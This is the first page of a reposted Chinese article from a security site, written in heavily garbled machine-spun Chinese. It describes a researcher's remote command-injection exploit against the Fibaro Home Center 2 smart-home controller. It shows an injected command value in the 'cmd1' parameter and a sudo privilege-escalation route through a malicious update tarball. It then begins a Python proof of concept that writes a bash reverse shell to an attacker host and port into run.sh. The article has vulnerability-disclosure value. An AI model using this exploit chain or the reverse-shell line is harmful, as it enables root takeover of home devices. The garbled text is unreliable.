欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

针对Fibaro家庭中心监管设备的远程可执行命令破绽漏洞oday的研究

来源:本站整理 作者:佚名 时间:2017-09-29 TAG: 我要投稿

在我日常平凡的苏息光阴里,我比拟爱好去研讨一些与智能家居和物联网装备相干的硬件和软件。近来这段光阴里,我已知在研讨这些装备所采纳的网安解决方案。在我的研讨过程当中,我针对智能家居节制器停止了网安阐发。这种节制器可以或许算是一款智能家居装备的大脑了,假如入侵攻击者可以或许胜利获得这种组件(智能家居节制器)的拜访权限,那末他们就能够或许完整接收智能家居装备。
在获得研讨申报以后,我第一光阴向开源名目Domoticz的开辟职员上报了此中的部门破绽。开辟职员在获得破绽信息以后也敏捷修复了相干成绩,而且我个人也提交了一些破绽修复代码:
1.       Httponly标志
2.       (颠末认证的)SQL注入与缓冲区溢出破绽
3.       (颠末认证的)长途敕令履行破绽(由Domoticz开辟职员修复)
直奔主题
阐发完这款开源产物以后,我盘算对一款贸易产物停止研讨。我备选产物中的此中一款是Fibaro家庭中间(第二代)。在这次研讨过程当中,我发明了一个非常严重的网安破绽,而这个破绽的存在意味着不管第二代Fibaro家庭中间治理装备的Web接口能否可拜访,随意率性入侵攻击者都可以或许应用该破绽完整接收(root拜访权)这种装备。
在上面的演示视频中,我给人人演示了若何入侵一台第二代Fibaro家庭中间治理装备:
研讨过程
我从一名共事那边借了一台第二代Fibaro家庭中间治理装备(以下简称Fibaro HC2),感激亲爱的Martijn Teelen!实际上,Fibaro HC2是一款领有富丽表面的x86计算机,其操纵体系运行在一个USB存储器当中,而Fibaro HC2中的另一个USB存储器是用来作体系规复应用的。

当我拆开装备的外壳以后,我创立了一个USB存储器(Fibaro HC2中的)的磁盘镜像。接下来便是见证事业的时刻了,我对Fibaro HC2的外部体系(阐发磁盘镜像)停止了深入阐发,而且弄清楚了它的全体运行机制,而后胜利在Fibaro HC2中发明了一个严重的网安破绽。

与装备Web接口相干的PHP文件其代码仅应用了ionCube停止部门加密,在停止了一段光阴的搜刮以后,我找到了一个可以或许轻松解密这些PHP文件的对象。解密实现以后,我发明了一个名叫“liliSetDeviceCommand.php”的文件,这个文件卖力应用POST-input值来履行一次PHP体系挪用,但全部过程当中它既不会对用户停止身份验证,也不会对输出值的有效性停止核验。

为了弄清楚这个破绽能否是一个可以或许应用的破绽,我向此中的“cmd1”参数中注入了'ping${IFS}8.8.8.8':

咱们可以或许从htop(Linux下的一款互动式过程检查器)所表现的信息中懂得到,咱们曾经胜利注入了适才那条敕令:

此时咱们曾经可以或许确定的是,咱们可以或许应用该破绽来实现敕令履行。然则,由于咱们这里必要在注入Payload中应用引号,以是www-data用户这个身份照样会遭到一定的权限限定的。
权限晋升
在对/etc/sudoers文件停止阐发以后,我发明www-data用户居然可以或许以root权限履行一小部门代码:

请注意上图中的“/usr/bin/update”源码,在对这个源码停止了阐发以后,我发明它可以或许被用于“手动”装置更新法式。为了实现“手动更新”,这里还必要经由过程通报一个.tar.gz文件来挪用这部门源码。通报过去的.tar.gz文件中必要包括一个“run.sh”剧本,而剧本文件中必要包括用于履行更新操纵的节制敕令(比方复制文件等操纵)。以是,咱们筹备测验考试在这个run.sh剧本文件中寄存一个反向shell,但咱们真的可以或许获得一个领有root权限的反向shell吗?颠末了一段光阴的手工测试以后,咱们公然胜利了!
编写破绽应用代码
咱们在短光阴内敏捷编写了一份可以或许将这个长途代码履行破绽和权限晋升破绽联合起来配合应用的PoC代码,上面给出的便是咱们的破绽应用代码(已在第二代Fibaro家庭中间治理装备上测试胜利):
#!/usr/bin/python
 
import requests
import argparse
import urllib
import base64
import tarfile
import os
 
parser = argparse.ArgumentParser(description='Fibaro RCE')
parser.add_argument('--rhost')
parser.add_argument('--lhost')
parser.add_argument('--lport')
args = parser.parse_args()
 
f = open('run.sh', 'w')
f.write('#!/bin/bash\n')
f.write('/bin/bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\n')

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载